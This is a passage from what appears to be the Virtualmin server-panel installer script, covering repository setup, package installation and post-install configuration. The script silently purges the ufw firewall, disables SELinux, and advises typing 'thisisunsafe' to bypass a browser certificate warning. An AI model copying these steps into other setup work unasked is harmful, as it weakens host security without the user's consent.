"https://$upgrade_virtualmin_host/lib/RPM-GPG-KEY-webmin" "Downloading Webmin key" run_ok "gpg --import RPM-GPG-KEY-webmin && cat RPM-GPG-KEY-webmin | gpg --dearmor > /usr/share/keyrings/debian-webmin.gpg" "Installing Webmin key" run_ok "apt-get update" "Downloading repository metadata" # Make sure universe repos are available # XXX Test to make sure this run_ok syntax works as expected (with single quotes inside double) if [ $os_type = "ubuntu" ]; then if [ -x "/bin/add-apt-repository" ] || [ -x "/usr/bin/add-apt-repository" ]; then run_ok "add-apt-repository -y universe" \ "Enabling universe repositories, if not already available" else run_ok "sed -ie '/backports/b; s/#*[ ]*deb \\(.*\\) universe$/deb \\1 universe/' /etc/apt/sources.list" \ "Enabling universe repositories, if not already available" fi fi # XXX Is this still enabled by default on Debian/Ubuntu systems? run_ok "sed -ie 's/^deb cdrom:/#deb cdrom:/' /etc/apt/sources.list" "Disabling cdrom: repositories" install="DEBIAN_FRONTEND='noninteractive' /usr/bin/apt-get --quiet --assume-yes --install-recommends -o Dpkg::Options::='--force-confdef' -o Dpkg::Options::='--force-confold' -o Dpkg::Pre-Install-Pkgs::='/usr/sbin/dpkg-preconfigure --apt' install" update="DEBIAN_FRONTEND='noninteractive' /usr/bin/apt-get --quiet --assume-yes --install-recommends -o Dpkg::Options::='--force-confdef' -o Dpkg::Options::='--force-confold' -o Dpkg::Pre-Install-Pkgs::='/usr/sbin/dpkg-preconfigure --apt' upgrade" #export DEBIAN_FRONTEND=noninteractive install_updates="$install $deps" run_ok "apt-get clean" "Cleaning up software repo metadata" sed -i "s/\\(deb[[:space:]]file.*\\)/#\\1/" /etc/apt/sources.list ;; *) log_error " Your OS is not currently supported by this installer." log_error " You can probably run Virtualmin Professional on your system, anyway," log_error " but you'll have to install it using the manual installation process." exit 1 ;; esac return 0 } # Setup repos only if [ -n "$setup_only" ]; then if install_virtualmin_release; then log_success "Repository configuration successful. You can now install Virtualmin" log_success "components using your OS package manager." else log_error "Errors occurred during setup of Virtualmin software repositories. You may find more" log_error "information in ${RUN_LOG}." fi exit $? fi # Install Functions install_with_apt() { # Install system package upgrades, if any if [ -z "$noupdates" ]; then run_ok "$update" "Checking and installing system packages updates" fi # Silently purge packages that may cause issues upon installation /usr/bin/apt-get --quiet --assume-yes purge ufw >>${RUN_LOG} 2>&1 # Install Webmin/Usermin first, because it needs to be already done # for the deps. Then install Virtualmin Core and then Stack packages # Do it all in one go for the nicer UI run_ok "$install webmin && $install usermin && $install $debvmpackages && $install $deps" "Installing Virtualmin $vm_version and all related packages" if [ $? -ne 0 ]; then log_warning "apt-get seems to have failed. Are you sure your OS and version is supported?" log_warning "https://www.virtualmin.com/os-support" fatal "Installation failed: $?" fi # Make sure the time is set properly /usr/sbin/ntpdate-debian >>${RUN_LOG} 2>&1 return 0 } install_with_yum() { # Enable CodeReady and EPEL on RHEL 8+ if [ "$os_major_version" -ge 8 ] && [ "$os_type" = "rhel" ]; then # Important Perl packages are now hidden in CodeReady repo run_ok "$install_config_manager --set-enabled codeready-builder-for-rhel-$os_major_version-x86_64-rpms" "Enabling Red Hat CodeReady package repository" # Install EPEL download "https://dl.fedoraproject.org/pub/epel/epel-release-latest-$os_major_version.noarch.rpm" >>$log 2>&1 run_ok "rpm -U --replacepkgs --quiet epel-release-latest-$os_major_version.noarch.rpm" "Installing EPEL $os_major_version release package" # Install EPEL on RHEL 7 elif [ "$os_major_version" -eq 7 ] && [ "$os_type" = "rhel" ]; then download "https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm" >>$log 2>&1 run_ok "rpm -U --replacepkgs --quiet epel-release-latest-7.noarch.rpm" "Installing EPEL 7 release package" # Install EPEL on CentOS/Alma/Rocky elif [ "$os_type" = "centos" ] || [ "$os_type" = "centos_stream" ] || [ "$os_type" = "rocky" ] || [ "$os_type" = "almalinux" ]; then run_ok "$install epel-release" "Installing EPEL release package" # Install EPEL on Oracle 7+ elif [ "$os_type" = "ol" ]; then run_ok "$install oracle-epel-release-el$os_major_version" "Installing EPEL release package" fi # Important Perl packages are now hidden in PowerTools repo if [ "$os_major_version" -ge 8 ] && [ "$os_type" = "centos" ] || [ "$os_type" = "centos_stream" ] || [ "$os_type" = "rocky" ] || [ "$os_type" = "almalinux" ]; then # Detect CRB/PowerTools repo name if [ "$os_major_version" -ge 9 ]; then extra_packages=$(dnf repolist all | grep "^crb") if [ -n "$extra_packages" ]; then extra_packages="crb" extra_packages_name="CRB" fi else extra_packages=$(dnf repolist all | grep "^powertools") extra_packages_name="PowerTools" if [ -n "$extra_packages" ]; then extra_packages="powertools" else extra_packages="PowerTools" fi fi run_ok "$install_config_manager --set-enabled $extra_packages" "Enabling $extra_packages_name package repository" fi # Important Perl packages are hidden in ol8_codeready_builder repo in Oracle if [ "$os_major_version" -ge 8 ] && [ "$os_type" = "ol" ]; then run_ok "$install_config_manager --set-enabled ol${os_major_version}_codeready_builder" "Enabling Oracle Linux $os_major_version CodeReady Builder" fi # XXX This is so stupid. Why does yum insists on extra commands? if [ "$os_major_version" -eq 7 ]; then run_ok "yum --quiet groups mark install $rhgroup" "Marking $rhgrouptext for install" run_ok "yum --quiet groups mark install $vmgroup" "Marking $vmgrouptext for install" fi # Clear cache run_ok "$install_cmd clean all" "Cleaning up software repo metadata" # Upgrade system packages first if [ -z "$noupdates" ]; then run_ok "$update" "Checking and installing system packages updates" fi # Install core and stack run_ok "$install_group $rhgroup" "Installing dependencies and system packages" run_ok "$install_group $vmgroup" "Installing Virtualmin $vm_version and all related packages" if [ $? -ne 0 ]; then fatal "Installation failed: $?" fi return 0 } install_virtualmin() { case "$package_type" in rpm) install_with_yum ;; deb) install_with_apt ;; *) install_with_tar ;; esac if [ $? -eq 0 ]; then return 0 else return $? fi } yum_check_skipped() { loginstalled=0 logskipped=0 skippedpackages="" skippedpackagesnum=0 while IFS= read -r line do if [ "$line" = "Installed:" ]; then loginstalled=1 elif [ "$line" = "" ]; then loginstalled=0 logskipped=0 elif [ "$line" = "Skipped:" ] && [ "$loginstalled" = 1 ]; then logskipped=1 elif [ "$logskipped" = 1 ]; then skippedpackages="$skippedpackages$line" skippedpackagesnum=$((skippedpackagesnum+1)) fi done < "$log" if [ "$skippedpackages" != "" ]; then if [ "$skippedpackagesnum" != 1 ]; then ts="s" fi skippedpackages=$(echo "$skippedpackages" | tr -s ' ') log_warning "Skipped package${ts}:${skippedpackages}" fi } # virtualmin-release only exists for one platform...but it's as good a function # name as any, I guess. Should just be "setup_repositories" or something. errors=$((0)) install_virtualmin_release echo log_debug "Phase 2 of 3: Installation" printf "${GREEN}▣${YELLOW}▣${CYAN}◻${NORMAL} Phase ${YELLOW}2${NORMAL} of ${GREEN}3${NORMAL}: Installation\\n" install_virtualmin if [ "$?" != "0" ]; then errorlist="${errorlist} ${YELLOW}◉${NORMAL} Package installation returned an error.\\n" errors=$((errors + 1)) fi # We want to make sure we're running our version of packages if we have # our own version. There's no good way to do this, but we'll run_ok "$install_updates" "Installing Virtualmin $vm_version and all related packages updates" if [ "$?" != "0" ]; then errorlist="${errorlist} ${YELLOW}◉${NORMAL} Installing updates returned an error.\\n" errors=$((errors + 1)) fi # Reap any clingy processes (like spinner forks) # get the parent pids (as those are the problem) allpids="$(ps -o pid= --ppid $$) $allpids" for pid in $allpids; do kill "$pid" 1>/dev/null 2>&1 done # Final step is configuration. Wait here for a moment, hopefully letting any # apt processes disappear before we start, as they're huge and memory is a # problem. XXX This is hacky. I'm not sure what's really causing random fails. sleep 1 echo log_debug "Phase 3 of 3: Configuration" printf "${GREEN}▣▣${YELLOW}▣${NORMAL} Phase ${YELLOW}3${NORMAL} of ${GREEN}3${NORMAL}: Configuration\\n" if [ "$mode" = "minimal" ]; then bundle="Mini${bundle}" fi virtualmin-config-system --bundle "$bundle" if [ "$?" != "0" ]; then errorlist="${errorlist} ${YELLOW}◉${NORMAL} Postinstall configuration returned an error.\\n" errors=$((errors + 1)) fi config_system_pid=$! # Functions that are used in the OS specific modifications section disable_selinux() { seconfigfiles="/etc/selinux/config /etc/sysconfig/selinux" for i in $seconfigfiles; do if [ -e "$i" ]; then perl -pi -e 's/^SELINUX=.*/SELINUX=disabled/' "$i" fi done } # Changes that are specific to OS case "$os_type" in "fedora" | "centos" | "centos_stream" | "rhel" | "rocky" | "almalinux" | "ol") disable_selinux ;; esac # kill the virtualmin config-system command, if it's still running kill "$config_system_pid" 1>/dev/null 2>&1 # Make sure the cursor is back (if spinners misbehaved) if [ "${INTERACTIVE_MODE}" != "off" ];then tput cnorm fi printf "${GREEN}▣▣▣${NORMAL} Cleaning up\\n" # Cleanup the tmp files if [ "$tempdir" != "" ] && [ "$tempdir" != "/" ]; then log_debug "Cleaning up temporary files in $tempdir." find "$tempdir" -delete else log_error "Could not safely clean up temporary files because TMPDIR set to $tempdir." fi if [ -n "$QUOTA_FAILED" ]; then log_warning "Quotas were not configurable. A reboot may be required. Or, if this is" log_warning "a VM, configuration may be required at the host level." fi echo if [ $errors -eq "0" ]; then hostname=$(hostname -f) detect_ip if [ "$package_type" = "rpm" ]; then yum_check_skipped fi log_success "Installation Complete!" log_success "If there were no errors above, Virtualmin should be ready" log_success "to configure at https://${hostname}:10000 (or https://${address}:10000)." log_success "You may receive a security warning in your browser on your first visit." log_success "Chromium based browsers, to bypass security warning screen may require" log_success "you to type \`thisisunsafe\` to get to the login page." TIME=$(date +%s) echo "$VER=$TIME" > "/etc/webmin/virtual-server/installed" else log_warning "The following errors occurred during installation:" echo printf "${errorlist}" fi exit 0
Close